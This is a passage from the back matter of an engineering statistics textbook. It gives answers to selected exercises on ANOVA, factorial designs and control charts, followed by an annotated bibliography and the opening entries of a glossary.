(c) Set equal sample sizes, $\sigma^2 = 0.164$, $\sigma_\tau^2 = 0$

Section 13-4

13-35. $f_0 = 147.35$, P-value ≈ 0, reject H_0 at $\alpha = 0.05$ or $\alpha = 0.01$

13-37. (a) $f_0 = 8.92$, reject H_0

13-39. (a) $f_0 = 3.00$, fail to reject H_0

13-41. (a) $f_0 = 1.61$, fail to reject H_0

13-43. (a) 3 (b) 3
(c) $f_0 = 23.15$, P-value < 0.01
(d) reject H_0

Supplemental Exercises

13-45. (a) $f_0 = 76.09$, reject H_0
(c) (132.97, 147.83)

13-47. (a) $f_0 = 7.84$, reject H_0
(b) P-value $= 0.007$

13-49. (a) $f_0 = 6.23$, reject H_0
(c) Algorithm 5

13-51. (a) Power $= 0.2$ (b) $n = 50$

CHAPTER 14

Section 14-3

14-1. (a) 1. $H_0: \tau_1 = \tau_2 = 0$
H_1: at least one $\tau_i \neq 0$
2. $H_0: \beta_1 = \beta_2 = \beta_3 = 0$
H_1: at least one $\beta_j \neq 0$
(b) $f(G) = 273.79$,
$f(P) = 8.84$,
$f(GP) = 1.26$ reject H_0 for only main effects

14-3. (a) $f(M) = 7.91$,
$f(T) = 28.97$,
$f(MT) = 3.56$ reject H_0 for both main effects and the interaction

14-5. (a) $Y_{ijk} = \mu + \tau_i + \beta_j + (\tau\beta)_{ij}$
$+ \in_{ijk} \begin{cases} i = 1, 2, 3 \\ j = 1, 2, 3, 4 \\ k = 1, 2, 3, 4, 5, 6 \end{cases}$
(b) $f(I) = 40.07$,
$f(T) = 0.32$, $f(IT) = 1.70$ reject H_0 for only insulation

14-7. (a) $f(D) = 25.23$, $f(A) = 543.52$, $f(DA) = 3.54$ reject H_0 for both main effects and the interaction

14-9. $(-3.40, 7.64)$

Section 14-4

14-11. (a) $f(H) = 7.64$, $f(C) = 31.66$, $f(F) = 19.92$, $f(HC) = 2.92$, $f(HF) = 2.97$, $f(CF) = 0.96$ H, C, F, HF are significant at $\alpha = 0.05$. The P-value for HC is 0.075.

Section 14-5

14-13. Significant effects: $A = 17.00$, $C = 10.875$, $D = 8.375$, $AD = 9.125$

14-15. (a) Cleaning Method $= -5.93$ Test Position $= -1.280$ Clean*test $= -1.220$
(b) Cleaning Method is the only significant factor

14-17. (a) Significant effects: $A = 11.8125$, $B = 33.9375$, $C = 9.6875$, $AB = 7.9375$

14-19. None of the effects are significant

14-21. (b) A, B and AB
(c) $\hat{y} = 400 + 40.124x_1 - 32.75x_2 + 26.625x_1x_2$

14-23. $f_0 = 5.11$, do not reject H_0

14-25. (a) For model with A, B, C, AB, $s = 2.92$; s (center pts) $= 2.86$
(b) $F_0 = 192.71$, curvature is significant

14-27. (a) Large effects: $C = -39.79$, $D = -198.47$, $E = -64.86$
(b) $y = 546.90 - 39.79x_C - 198.47x_D - 64.86x_E$
(d) none

14-29. (a) Large effects: $B = -0.000750$
(b) with all effects in error except B the P-value $= 0.007$

Section 14-6

14-31. Significant effects: $A = 15.625$, $C = 10.625$, $D = 8.875$, $AD = 8.875$, $CD = -3.125$, $ACD = 1.875$

14-37. (a) Effect JED is confounded with blocks
(b) Marginal significant effects: $J = 19.0$, $D = 14.75$, $JD = -18.0$, $ED = -25.5$,

14-39. (a) Blocking important, SS_{Blocks} large relative to SS_{Error}
(b) ABC, ABD, ACD, and BCD
(c) Coefficient for $AD = 15.14$, t-statistic for $AD = 1.525$, dfBlocks $= 1$, MS for interactions $= 1165.33$

Section 14-7

14-41. (a) 2^{5-1}
(b) $A = 10.8750$, $B = 33.6250$, $C = 10.6250$, $D = -0.6250$, $E = 0.3750$, $AB + CDE = 7.1250$,

14-43. (a) $E = -ABCD$
(b) Resolution V
(c) $E = -0.4700$, $BE = -0.4050$, $DE = -0.3150$

14-45. (c) $A = 1.435$, $B = -1.465$, $D = 4.545$, $AB = 1.15$, $AD = -1.23$

14-47. (b) Design Generator: $D = BE$, $E = AC$
Defining Relation: $I = ACE = BDE = ABCDE$
Aliases
$A = CE = BCDE = ABDE$
$B = DE = ACDE = ABCE$
$C = AE = ABDE = BCDE$
$D = BE = ABCE = ACDE$
$E = AC = BD = ABCD$
(c) $A = -1.525$, $B = -5.175$, $C = 2.275$, $D = -0.675$, $E = 2.275$

14-49. (a) Alias Structure:
$I + ABD + ACE + BCF + DEF + ABEF + ACDF + BCDE$
$A + BD + CE$
$B + AD + CF$
$C + AE + BF$
$D + AB + EF$
$E + AC + DF$
$F + BC + DE$
$AF + BE + CD$
(b) Alias Structure: $I + ABCG + ABDH + ABEF + ACDF + ACEH + ADEG + AFGH + BCDE + BCFH + BDFG + BEGH + CDGH + CEFG + DEFH$
A
B
C
D
E
F
G
H
$AB + CG + DH + EF$
$AC + BG + DF + EH$
$AD + BH + CF + EG$
$AE + BF + CH + DG$
$AF + BE + CD + GH$
$AG + BC + DE + FH$
$AH + BD + CE + FG$

14-51. (a) Generators are $E = BCD$, $F = ACD$, $G = ABC$, and $H = ABD$, $I = BCDE = ACDF = ABEF = ABCG = ADEG = BDFG = CEFG = ABHD = ACEH = BCFH = DEFH = CDGH = BEGH = AFGH$
(b) Glassware $= 1.4497$, Reagent $= -0.8624$, Prep $= 0.6034$, Tracer $= 0.6519$, Dissolution $= -0.8052$, Hood $= 1.3864$, Chemistry $= 0.0591$, Ashing $= -0.0129$

Section 14-8

14-53. (b) $\hat{y} = 82.024 - 1.115x_1 - 2.408x_2 + 0.861x_1^2 - 1.59x_2^2 - 1.801x_1x_2$

14-55. Path of steepest ascent passes through the point (0, 0) and has a slope $-0.8/1.5 = -0.533$

14-57. (a) Central composite design, not rotatable
(b) $\hat{y} = 150.04 - 58.47x_1 + 3.35x_2 - 6.53x_1^2$

$+ 10.58x_2^2 + 0.50x_1x_2$
The linear terms are significant ($p = 0.001$), while both the square terms and interaction terms are insignificant

14-59. (a) along the vector (1.2, −2.1, 1.6, −0.6)
(b) (1.22, 2.13, 1.62, 0.61)

Supplemental Exercises

14-61. (a) $t(p) = 2.54$, $t(pc) = 5.02$
The main effect of pH and the interaction of pH and Catalyst Concentration (CC) are significant

14-63. (a) $f(L) = 63.24$,
$f(S) = 39.75$,
$f(LS) = 5.29$
L, S, LS are significant

14-65. (a) $A = -2.74$, $B = -6.66$, $C = 3.49$, $AB = -8.71$, $AC = 7.04$, $BC = 11.46$, $ABC = -6.49$, not significant

14-67. (a) $V = -15.75$, $P = 10.75$, $G = -25.00$, $PG = -19.25$,
(b) $\hat{y} = 102.75 - 7.87x_1 + 5.37x_3 - 12.50x_4 - 9.63x_{34}$

14-69. $V = 3.25$, $F = -10.25$, $P = -10.25$, $G = -23.75$, $PG = -11.75$

14-71. Design Generators: $D = AB$
$E = AC$
Alias Structure
$I + ABD + ACE + BCDE$
$A + BD + CE + ABCDE$
$B + AD + CDE + ABCE$
$C + AE + BDE + ABCD$
$D + AB + BCE + ACDE$
$E + AC + BCD + ABDE$
$BC + DE + ABE + ACD$
$BE + CD + ABC + ADE$

14-73. (a) 2^2 factorial with two replicates
(b) Significant effects:
$x_1 = 0.795$, $x_2 = -1.160$
(c) $\hat{y} = 0.1994 + 0.07688x_1$

14-75. (a) $H_0: \tau_1 = \tau_2 = \tau_3 = 0$
$H_0: \beta_1 = \beta_2 = \beta_3 = 0$
$H_0: (\tau\beta)_{11} = \ldots = (\tau\beta)_{33} = 0$
(b) $f(N) = 311.71$,
$f(P) = 119.17$,
$f(PN) = 92.94$
(d) $\hat{\sigma} = 1.22$

14-77. (a) Generators are $E = ABC$, $F = ABD$, and $G = ACD$;
$I = ABCE = ABDF = CDEF = ACDG = BDEG = BCFG = AEFG$
(b) $A = -74.9$, $B = 76.1$, $C = -366.4$, $D = 236.9$, $E = -213.4$, $F = 119.9$, $G = 101.9$

14-79. (a) Block 1: (1), bc, ac, ab;
Block 2: a, b, c, abc
(b) $A = -0.500$, $B = 13.000$, $C = 6.500$, $AB = -2.000$, $AC = -14.500$, $BC = -5.000$

14-81. (a) A: 4 levels, B: 3 levels
(b) 1 (c) AB interaction not significant (d) dfError = 6, $SS_B = 34670882$, $MS_E = 29736583$, $f_0 = 1.36$

CHAPTER 15

Section 15-3

15-1. (a) $\bar{x}$ chart: $UCL = 242.78$, $CL = 223$, $LCL = 203.22$,
R chart: $UCL = 72.51$, $CL = 34.286$, $LCL = 0$
(b) $\hat{\mu} = 223$ $\hat{\sigma} = 14.74$

15-3. (a) $\bar{x}$ chart: $UCL = 245.11$, $CL = 223$, $LCL = 200.89$
S chart: $UCL = 30.77$, $CL = 13.58$, $LCL = 0$
(b) $\hat{\mu} = 223$, $\hat{\sigma} = 14.74$

15-5. (a) $\bar{x}$ chart: $UCL = 4.930$, $CL = 4.668$, $LCL = 4.406$,
R chart: $UCL = 0.961$, $CL = 0.454$, $LCL = 0$
(b) $\bar{x}$ chart: $UCL = 4.910$, $CL = 4.668$, $LCL = 4.425$,
S chart: $UCL = 0.355$, $CL = 0.17$, $LCL = 0$

15-7. (a) $\bar{x}$ chart: $UCL = 37.5789$, $CL = 34.32$, $LCL = 31.0611$
R chart: $UCL = 11.9461$, $CL = 5.65$, $LCL = 0$
(b) $\bar{x}$ chart: $UCL = 37.4038$, $CL = 34.0947$, $LCL = 30.7857$
R chart: $UCL = 12.1297$, $CL = 5.73684$, $LCL = 0$
$\hat{\sigma} = 2.4664$

15-9. (a) $\bar{x}$ chart: $UCL = 17.4$, $CL = 15.09$, $LCL = 12.79$
R chart: $UCL = 5.792$, $CL = 2.25$, $LCL = 0$
(b) $\bar{x}$ chart: $UCL = 17.96$, $CL = 15.78$, $LCL = 13.62$
R chart: $UCL = 5.453$, $CL = 2.118$, $LCL = 0$
(c) $\bar{x}$ chart: $UCL = 17.42$, $CL = 15.09$, $LCL = 12.77$
S chart: $UCL = 3.051$, $CL = 1.188$, $LCL = 0$
Revised
$\bar{x}$ chart: $UCL = 17.95$, $CL = 15.78$, $LCL = 13.62$
S chart: $UCL = 2.848$, $CL = 1.109$, $LCL = 0$

15-11. (a) $\bar{x}$ chart: $UCL = 0.0635$, $CL = 0.0629$, $LCL = 0.0624$
R chart: $UCL = 0.0020$, $CL = 0.0009$, $LCL = 0$
(b) $\bar{x}$ chart: $UCL = 0.0634$, $CL = 0.0630$, $LCL = 0.0626$
R chart: $UCL = 0.0014$, $CL = 0.0007$, $LCL = 0$
(c) $\bar{x}$ chart: $UCL = 0.0634$, $CL = 0.0630$, $LCL = 0.0626$
S chart: $UCL = 0.00058$, $CL = 0.00027$, $LCL = 0$
Revised:
$\bar{x}$ chart: $UCL = 0.0633$, $CL = 0.0630$, $LCL = 0.0626$
S chart: $UCL = 0.00058$, $CL = 0.00028$, $LCL = 0$

15-13. (a) 2.73 (b) no

15-15. $s = 2.956$, $\bar{r}/d_2 = 1.251$

Section 15-4

15-17. (a) Individual chart:
$UCL = 60.889$, $CL = 53.05$, $LCL = 45.211$
MR chart: $UCL = 9.634$, $CL = 2.94737$, $LCL = 0$
The process appears to be in control.
(b) $\hat{\mu} = 53.05$, $\hat{\sigma} = 2.613$

15-19. (a) Individual chart:
$UCL = 10.5358$,
$CL = 10.0272$,
$LCL = 9.5186$
MR chart:
$UCL = 0.625123$,
$CL = 0.19125$, $LCL = 0$
The process appears to be in control.
(b) $\hat{\mu} = 10.0272$, $\hat{\sigma} = 0.1696$

15-21. (a) Initial study: Individual chart: $UCL = 130.5$,
$CL = 100.78$, $LCL = 71.06$
MR chart: $UCL = 36.51$,
$CL = 11.18$, $LCL = 0$
Revised: Individual chart
$UCL = 127.08$,
$CL = 99.48$, $LCL = 71.88$
MR chart: $UCL = 33.91$,
$CL = 10.38$, $LCL = 0$
(b) $\hat{\mu} = 99.4792$, $\hat{\sigma} = 9.20059$

15-23. (a) X chart: $UCL = 116.43$,
$CL = 82.0$, $LCL = 47.57$,
R chart: $UCL = 42.30$,
$CL = 12.95$, $LCL = 0$;
in control
(b) 82.0, 11.48

Section 15-5

15-25. (a) 1.3333 (b) 26
15-27. (a) $PC = PCR_K = 1.5$ (b) 0
15-29. Proportion nonconforming is 0.00779
$PCR = 0.905$
$PCR_K = 0.837$
15-31. 0.0009
$PCR = 1.13$
$PCR_K = 1.06$
15-33. (a) $PCR = 1.35$
$PCR_K = 1.217$
(b) 0.00013
15-37. (a) Fraction defective = 0.002,
$PCR = 1.03$, $PCR_\kappa = 1.03$
(b) Fraction defective = 0.057,
$PCR = 1.03$, $PCR_\kappa = 0.526$
15-39. (a) 0.03
(b) $PCR = 1.11$, $PCR_\kappa = 0.778$

Section 15-6

15-41. (a) not in control
$UCL = 0.0835$,
$CL = 0.0645$,
$LCL = 0.0455$
(b) Revised P-chart:
$UCL = 0.1252$,
$CL = 0.0561$, $LCL = 0$
15-43. (a) P chart: $UCL = 0.1986$,
$CL = 0.1506$,
$LCL = 0.1026$
(b) Revised P chart:
$UCL = 0.2062$,
$CL = 0.1573$,
$LCL = 0.1085$
15-45. (a) The limits need to be revised. $UCL = 3.811$,
$CL = 1.942$, $LCL = 0.072$,
sample 5 and 24 exceed limits
(b) U chart: $UCL = 3.463$,
$CL = 1.709$, $LCL = 0$
15-47. (a) $UCL = 0.3528$,
$CL = 0.2598$, $LCL = 0.1667$,
not in control
(b) $UCL = 0.6694$, $CL = 0.5195$, $LCL = 0.3696$, not in control, points 4, 5, 10, 12, 18, 20 exceed the control limits

Section 15-7

15-49. (a) 4 (b) 0.0228.
(c) 43.8596
15-51. (a) 0.2177 (b) $ARL = 4.6$
15-53. (a) 0.1515 (b) $ARL = 6.6$
15-55. (a) 0.1020 (b) $ARL = 9.8$
15-57. (a) 0.2877 (b) $ARL = 3.48$
15-59. (a) 5.196 (b) 0.01 (c) 102.04

Section 15-8

15-61. (a) $h = 4$, $k = 0.5$,
$UCL = 3.875$,
$LCL = -3.875$
Yes, this process is in-control.
(b) Observation 20 is out of control, CUSUM = 6.08
15-63. (a) $\hat{\sigma} = 0.1736$
(b) $h = 4$, $k = 0.5$,
$UCL = 0.0678$,
$LCL = -0.0678$, out of control at the specified target level
15-65. (a) $ARL = 38.0$
(b) $ARL = 10.4$
15-67. (a) 0.169548
(b) The process appears to be in control. $UCL = 10.17$,
$CL = 10$, $LCL = 9.83$
(c) Out of control at observation 13, $UCL = 10.29$,
$CL = 10$, $LCL = 9.71$
15-69. (a) prefer $\lambda = 0.1$ and $L = 2.81$
(b) prefer $\lambda = 0.5$ and $L = 3.07$
(c) 9
15-71. (a) $UCL = 12$, $LCL = -12$, not in control
(b) shift from 70 to 80: $2.01 < ARL < 2.57$

Supplemental Exercises

15-73. (a) $\bar{x}$ chart: $UCL = 64.019$,
$CL = 64$, $LCL = 63.982$
R chart: $UCL = 0.046$,
$CL = 0.018$, $LCL = 0$
(b) $\hat{\mu} = 64$, $\hat{\sigma} = 0.011$
(c) $PCR = 0.63$
(d) $PCR_k = 0.63$
(e) $\sigma^2 = (0.0033)^2 = 0.000011$
(f) $ARL = 12.9$
15-75. (a) The process appears to be in control.
(b) P chart: $UCL = 0.1717$,
$CL = 0.1063$,
$LCL = 0.04093$
15-77. (a) Individual chart:
$UCL = 60.327362$,
$CL = 60.32641$,
$LCL = 60.325458$
MR chart:
$UCL = 0.001169$,
$CL = 0.000358$, $LCL = 0$
(b) Individual chart:
$UCL = 0.001362$,
$CL = 00.00041$,
$LCL = 0.000542$
MR chart:
$UCL = 0.001169$,
$CL = 0.000358$, $LCL = 0$
(c) $\hat{\mu} = 60.3264$
$\hat{\sigma} = 0.0003173$
$PCR = 1.0505$
$PCR_k = 0.9455$
15-79. (a) Trial control limits
S chart: $UCL = 170.25$,
$CL = 86.42$, $LCL = 2.59$
$\bar{x}$ chart: $UCL = 670.00$,
$CL = 558.77$,
$LCL = 447.53$
Revised S chart:
$UCL = 158.93$,
$CL = 80.68$, $LCL = 2.42$

$\bar{x}$ chart: $UCL = 655.79$,
$CL = 551.95$,
$LCL = 448.10$
(b) $PCR_K = 0.8725$
(c) $\hat{\sigma} = 36.9917$
(d) $ARL = 18.6$

15-89. (a) $ARL = 43.9$
(b) $ARL = 6.30$
(c) $ARL = 2.00$

15-91. (a) $\bar{x}$ chart: $UCL = 140.168$,
$CL = 139.49$,
$LCL = 138.812$
R chart: $UCL = 2.48437$,
$CL = 1.175$, $LCL = 0$
(b) Revised: $\bar{x}$ chart:
$UCL = 140.417$,
$CL = 139.709$,
$LCL = 139.001$
R chart: $UCL = 2.596$,
$CL = 1.227$, $LCL = 0$
$\hat{\sigma} = 0.5276$
(c) $PCR = 1.26$
$PCR_k = 1.08$
(d) $\sigma^2 = 0.081$
(e) $ARL = 5.55$

15-93. $P(X < USL) = 0.00135$

15-95. (a) $P(\bar{U} > 12.24$ when $\lambda = 16) = 0.96995$
(b) $P(U > 10.68$ when $\lambda = 16) = 1$

15-97. (a) $ARL = 17.5$
(b) $ARL = 3.63$

15-101. (a) $\hat{\sigma} = 3.0411$, probability $= 0.03$
(b) 31.95

Mind-Expanding Exercises

15-103. 0.125, 0.004

15-105. (b) $ARL = 1/p$ where
$p = 1 - \Phi(k - \sqrt{n}\delta)$
$+ \Phi(-k - \sqrt{n}\delta)$
(c) $ARL = 22.0$ for $k = 2$
(d) $ARL = 4.47$

15-107. $n = \dfrac{k^2(1 - \bar{p})}{\bar{p}}$

15-111. (a) $\bar{C}$ chart
$CL = 8$
$UCL = 16.49$
$LCL = 0$
(b) Yes

Appendix C
Bibliography

INTRODUCTORY WORKS AND GRAPHICAL METHODS

Chambers, J., Cleveland, W., Kleiner, B., and P. Tukey (1983), *Graphical Methods for Data Analysis*, Wadsworth & Brooks/Cole, Pacific Grove, CA. A very well-written presentation of graphical methods in statistics.

Freedman, D., Pisani, R., Purves R., and A. Adbikari (1991), *Statistics*, 2nd ed., Norton, New York. An excellent introduction to statistical thinking, requiring minimal mathematical background.

Hoaglin, D., Mosteller, F., and J. Tukey (1983), *Understanding Robust and Exploratory Data Analysis*, John Wiley & Sons, New York. Good discussion and illustration of techniques such as stem-and-leaf displays and box plots.

Tanur, J., et al. (eds.) (1989), *Statistics: A Guide to the Unknown*, 3rd edition, Wadsworth & Brooks/Cole, Pacific Grove, CA. Contains a collection of short nonmathematical articles describing different applications of statistics.

Tukey, J. (1977), *Exploratory Data Analysis*, Addison-Wesley, Reading, MA. Introduces many new descriptive and analytical methods. Not extremely easy to read.

PROBABILITY

Hoel, P. G., Port, S. C., and C. J. Stone (1971), *Introduction to Probability Theory*, Houghton Mifflin, Boston. A well-written and comprehensive treatment of probability theory and the standard discrete and continuous distributions.

Olkin, I., Derman, C., and L. Gleser (1994), *Probability Models and Applications*, 2nd ed., Macmillan, New York. A comprehensive treatment of probability at a higher mathematical level than this book.

Mosteller, F., Rourke, R., and G. Thomas (1970), *Probability with Statistical Applications*, 2nd ed., Addison-Wesley, Reading, MA. A precalculus introduction to probability with many excellent examples.

Ross, S. (2005), *A First Course in Probability*, 7th ed., Prentice-Hall, Englewood Cliffs, NJ. More mathematically sophisticated than this book, but has many excellent examples and exercises.

MATHEMATICAL STATISTICS

Efron, B., and R. Tibshirani (1993), *An Introduction to the Bootstrap*, Chapman and Hall, New York. An important reference on this useful but computer-intensive technique.

Hoel, P. G. (1984), *Introduction to Mathematical Statistics*, 5th ed., John Wiley & Sons, New York. An outstanding introductory book, well written, and generally easy to understand.

Hogg, R., and A. Craig (2004), *Introduction to Mathematical Statistics*, 6th ed., Prentice-Hall, Englewood Cliffs, NJ. Another classic work on the mathematical principles of statistics; higher level than the Hoel book, but contains excellent discussions of estimation and hypothesis testing.

Larsen, R., and M. Marx (1986), *Introduction to Mathematical Statistics*, 2nd ed., Prentice-Hall, Englewood Cliffs, NJ. Written at a relatively low mathematical level, very readable.

Larson, H. J. (1982), *Introduction to Probability Theory and Statistical Inference*, 3rd ed., John Wiley & Sons, New York. An extremely well-written book that gives broad coverage to many aspects of probability and mathematical statistics.

ENGINEERING STATISTICS

Devore, J. L. (2008), *Probability and Statistics for Engineering and the Sciences*, 7th ed., Duxbury & Brooks/Cole, Pacific

Grove, CA. Covers many of the same topics as this text, but at a slightly higher mathematical level. Many of the examples and exercises involve applications to biological and life sciences.

Hines, W. W., and D. C. Montgomery (1990), *Probability and Statistics in Engineering and Management Science*, 3rd ed., John Wiley & Sons, New York. Covers many of the same topics as this book. More emphasis on probability and a higher mathematical level.

Ross, S. (1987), *Introduction to Probability and Statistics for Engineers and Scientists*, John Wiley & Sons, New York. More tightly written and mathematically oriented than this book, but contains some good examples.

Walpole, R. E., Myers, R. H., and S. L. Myers (2002), *Probability and Statistics for Engineers and Scientists*, 7th ed., Prentice-Hall, Inc., Upper Saddle River, New Jersey. A very well-written book at about the same level as this one.

REGRESSION ANALYSIS

Daniel, C., and F. Wood (1980), *Fitting Equations to Data*, 2nd ed., John Wiley & Sons, New York. An excellent reference containing many insights on data analysis.

Draper, N., and H. Smith (1998), *Applied Regression Analysis*, 3rd ed., John Wiley & Sons, New York. A comprehensive book on regression written for statistically oriented readers.

Kutner, Nachtsheim, Neter, Li (2005), *Applied Linear Statistical Models*, 4th ed., McGraw-Hill/Irwin, Columbus, OH. The first part of the book is an introduction to simple and multiple linear regression. The orientation is to business and economics.

Montgomery, D. C., Peck, E. A., and G. G. Vining (2006), *Introduction to Linear Regression Analysis*, 4th ed., John Wiley & Sons, New York. A comprehensive book on regression written for engineers and physical scientists.

Myers, R. H. (1990), *Classical and Modern Regression with Applications*, 2nd ed., PWS-Kent, Boston. Contains many examples with annotated SAS output. Very well written.

DESIGN OF EXPERIMENTS

Box, G. E. P., Hunter, W. G., and J. S. Hunter (2005), *Statistics for Experimenters*, 2nd ed., John Wiley & Sons, New York. An excellent introduction to the subject for those readers desiring a statistically oriented treatment. Contains many useful suggestions for data analysis.

Mason, R. L., Gunst, R. F., and J. F. Hess (2003), *Statistical Design and Analysis of Experiments*, 2nd ed., John Wiley & Sons, New York. A comprehensive book covering basic statistics, hypothesis testing and confidence intervals, elementary aspects of experimental design, and regression analysis.

Montgomery, D. C. (2009), *Design and Analysis of Experiments*, 7th ed., John Wiley & Sons, New York. Written at the same level as the Box, Hunter, and Hunter book, but focused on engineering applications.

NONPARAMETRIC STATISTICS

Conover, W. J. (1998), *Practical Nonparametric Statistics*, 3rd ed., John Wiley & Sons, New York. An excellent exposition of the methods of nonparametric statistics; many good examples and exercises.

Hollander, M., and D. Wolfe (1999), *Nonparametric Statistical Methods*, 2nd ed., John Wiley & Sons, New York. A good reference book, with a very useful set of tables.

STATISTICAL QUALITY CONTROL AND RELATED METHODS

Duncan, A. J. (1986), *Quality Control and Industrial Statistics*, 5th ed., Richard D. Irwin, Homewood, Illinois. A classic book on the subject.

Grant, E. L., and R. S. Leavenworth (1996), *Statistical Quality Control*, 7th ed., McGraw-Hill, New York. One of the first books on the subject; contains many good examples.

John, P. W. M. (1990), *Statistical Methods in Engineering and Quality Improvement*, John Wiley & Sons, New York. Not a methods book, but a well-written presentation of statistical methodology for quality improvement.

Montgomery, D. C. (2009), *Introduction to Statistical Quality Control*, 6th ed., John Wiley & Sons, New York. A modern comprehensive treatment of the subject written at the same level as this book.

Nelson, W. (2003), *Applied Life Data Analysis*, John Wiley & Sons, New York. Contains many examples of using statistical methods for the study of failure data; a good reference for the statistical aspects of reliability engineering and the special probability distributions used in that field.

Ryan, T. P. (2000), *Statistical Methods for Quality Improvement*, 2nd ed., John Wiley & Sons, New York. Gives broad coverage of the field, with some emphasis on newer techniques.

Wadsworth, H. M., Stephens, K. S., and A. B. Godfrey (2001), *Modern Methods for Quality Control and Improvement*, 2nd ed., John Wiley & Sons, New York. A comprehensive treatment of statistical methods for quality improvement at a somewhat higher level than this book.

Western Electric Company (1956), *Statistical Quality Control Handbook*, Western Electric Company, Inc., Indianapolis, Indiana. An oldie but a goodie.

Glossary

2^k factorial experiment. A full factorial experiment with k factors and all factors tested at only two levels (settings) each.

2^{k-p} factorial experiment. A fractional factorial experiment with k factors tested in a 2^{-p} fraction with all factors tested at only two levels (settings) each.

Acceptance region. In hypothesis testing, a region in the sample space of the test statistic such that if the test statistic falls within it, the null hypothesis cannot be rejected. This terminology is used because rejection of H_0 is always a strong conclusion and acceptance of H_0 is generally a weak conclusion.

Addition rule. A formula used to determine the probability of the union of two (or more) events from the probabilities of the events and their intersection(s).

Additivity property of χ^2. If two independent random variables X_1 and X_2 are distributed as chi-square with v_1 and v_2 degrees of freedom, respectively, $Y = X_1 + X_2$ is a chi-square random variable with $u = v_1 + v_2$ degrees of freedom. This generalizes to any number of independent chi-square random variables.

Adjusted R^2. A variation of the R^2 statistic that compensates for the number of parameters in a regression model. Essentially, the adjustment is a penalty for increasing the number of parameters in the model.

Alias. In a fractional factorial experiment when certain factor effects cannot be estimated uniquely, they are said to be aliased.

All possible (subsets) regressions. A method of variable selection in regression that examines all possible subsets of the candidate regressor variables. Efficient computer algorithms have been developed for implementing all possible regressions.

Alternative hypothesis. In statistical hypothesis testing, this is a hypothesis other than the one that is being tested. The alternative hypothesis contains feasible conditions, whereas the null hypothesis specifies conditions that are under test.

Analysis of variance (ANOVA). A method of decomposing the total variability in a set of observations, as measured by the sum of the squares of these observations from their average, into component sums of squares that are associated with specific defined sources of variation.

Analytic study. A study in which a sample from a population is used to make inference to a future population. Stability needs to be assumed. *See* Enumerative study.

Arithmetic mean. The arithmetic mean of a set of numbers $x_1, x_2, \ldots, x_n$ is their sum divided by the number of observations, or $(1/n)\sum_{i=1}^{n} x_i$. The arithmetic mean is usually denoted by $\bar{x}$, and is often called the average.

Assignable cause. The portion of the variability in a set of observations that can be traced to specific causes, such as operators, materials, or equipment. Also called a special cause.

Asymptotic relative efficiency (ARE). Used to compare hypothesis tests. The ARE of one test relative to another is the limiting ratio of the sample sizes necessary to obtain identical error probabilities for the two procedures.

Attribute. A qualitative characteristic of an item or unit, usually arising in quality control. For example, classifying production units as defective or nondefective results in attributes data.

Attribute control chart. Any control chart for a discrete random variable. *See* Variables control chart.

Average. *See* Arithmetic mean.

Average run length, or ARL. The average number of samples taken in a process monitoring or inspection scheme until the scheme signals that the process is operating at a level different from the level in which it began.

Axioms of probability. A set of rules that probabilities defined on a sample space must follow. *See* Probability.

Backward elimination. A method of variable selection in regression that begins with all of the candidate regressor variables in the model and eliminates the insignificant regressors one at a time until only significant regressors remain.

Bayes estimator. An estimator for a parameter obtained from a Bayesian method that uses a prior distribution for the parameter along with the conditional distribution of the data given the parameter to obtain the posterior distribution of the parameter. The estimator is obtained from the posterior distribution.

Bayes' theorem. An equation for a conditional probability such as $P(A \mid B)$ in terms of the reverse conditional probability $P(B \mid A)$.

Bernoulli trials. Sequences of independent trials with only two outcomes, generally called "success" and "failure," in which the probability of success remains constant.

Bias. An effect that systematically distorts a statistical result or estimate, preventing it from representing the true quantity of interest.

Biased estimator. *See* Unbiased estimator.

Bimodal distribution. A distribution with two modes.

Binomial random variable. A discrete random variable that equals the number of successes in a fixed number of Bernoulli trials.

Bivariate distribution. The joint probability distribution of two random variables.

Bivariate normal distribution. The joint distribution of two normal random variables.

Block. In experimental design, a group of experimental units or material that is relatively homogeneous. The purpose of dividing experimental units into blocks is to produce an experimental design wherein variability within blocks is smaller than variability between blocks. This allows the factors of interest to be compared in a environment that has less variability than in an unblocked experiment.

Box plot (or box and whisker plot). A graphical display of data in which the box contains the middle 50% of the data (the interquartile range) with the median dividing it, and the whiskers extend to the smallest and largest values (or some defined lower and upper limits).

***C* chart.** An attribute control chart that plots the total number of defects per unit in a subgroup. Similar to a defects-per-unit or *U* chart.

Categorical data. Data consisting of counts or observations that can be classified into categories. The categories may be descriptive.

Causal variable. When $y = f(x)$ and y is considered to be caused by x, x is sometimes called a causal variable.

Cause-and-effect diagram. A chart used to organize the various potential causes of a problem. Also called a fishbone diagram.

Center line. A horizontal line on a control chart at the value that estimates the mean of the statistic plotted on the chart. *See* Control chart.

Central composite design (CCD). A second-order response surface design in k variables consisting of a two-level factorial, $2k$ axial runs, and one or more center points. The two-level factorial portion of a CCD can be a fractional factorial design when k is large. The CCD is the most widely used design for fitting a second-order model.

Central limit theorem. The simplest form of the central limit theorem states that the sum of n independently distributed random variables will tend to be normally distributed as n becomes large. It is a necessary and sufficient condition that none of the variances of the individual random variables are large in comparison to their sum. There are more general forms of the central theorem that allow infinite variances and correlated random variables, and there is a multivariate version of the theorem.

Central tendency. The tendency of data to cluster around some value. Central tendency is usually expressed by a measure of location such as the mean, median, or mode.

Chance cause. The portion of the variability in a set of observations that is due to only random forces and which cannot be traced to specific sources, such as operators, materials, or equipment. Also called a common cause.

Chi-square (or chi-squared) random variable. A continuous random variable that results from the sum of squares of independent standard normal random variables. It is a special case of a gamma random variable.

Chi-square test. Any test of significance based on the chi-square distribution. The most common chi-square tests are (1) testing hypotheses about the variance or standard deviation of a normal distribution and (2) testing goodness of fit of a theoretical distribution to sample data.

Coefficient of determination. *See* R^2.

Combination. A subset selected without replacement from a set used to determine the number of outcomes in events and sample spaces.

Comparative experiment. An experiment in which the treatments (experimental conditions) that are to be studied are included in the experiment. The data from the experiment are used to evaluate the treatments.

Completely randomized design (or experiment). A type of experimental design in which the treatments or design factors are assigned to the experimental units in a random manner. In designed experiments, a completely randomized design results from running all of the treatment combinations in random order.

Components of variance. The individual components of the total variance that are attributable to specific sources. This usually refers to the individual variance components arising from a random or mixed model analysis of variance.

Conditional mean. The mean of the conditional probability distribution of a random variable.

Conditional probability. The probability of an event given that the random experiment produces an outcome in another event.

Conditional probability density function. The probability density function of the conditional probability distribution of a continuous random variable.

Conditional probability distribution. The distribution of a random variable given that the random experiment produces an outcome in an event. The given event might specify values for one or more other random variables.

Conditional probability mass function. The probability mass function of the conditional probability distribution of a discrete random variable.

Conditional variance. The variance of the conditional probability distribution of a random variable.

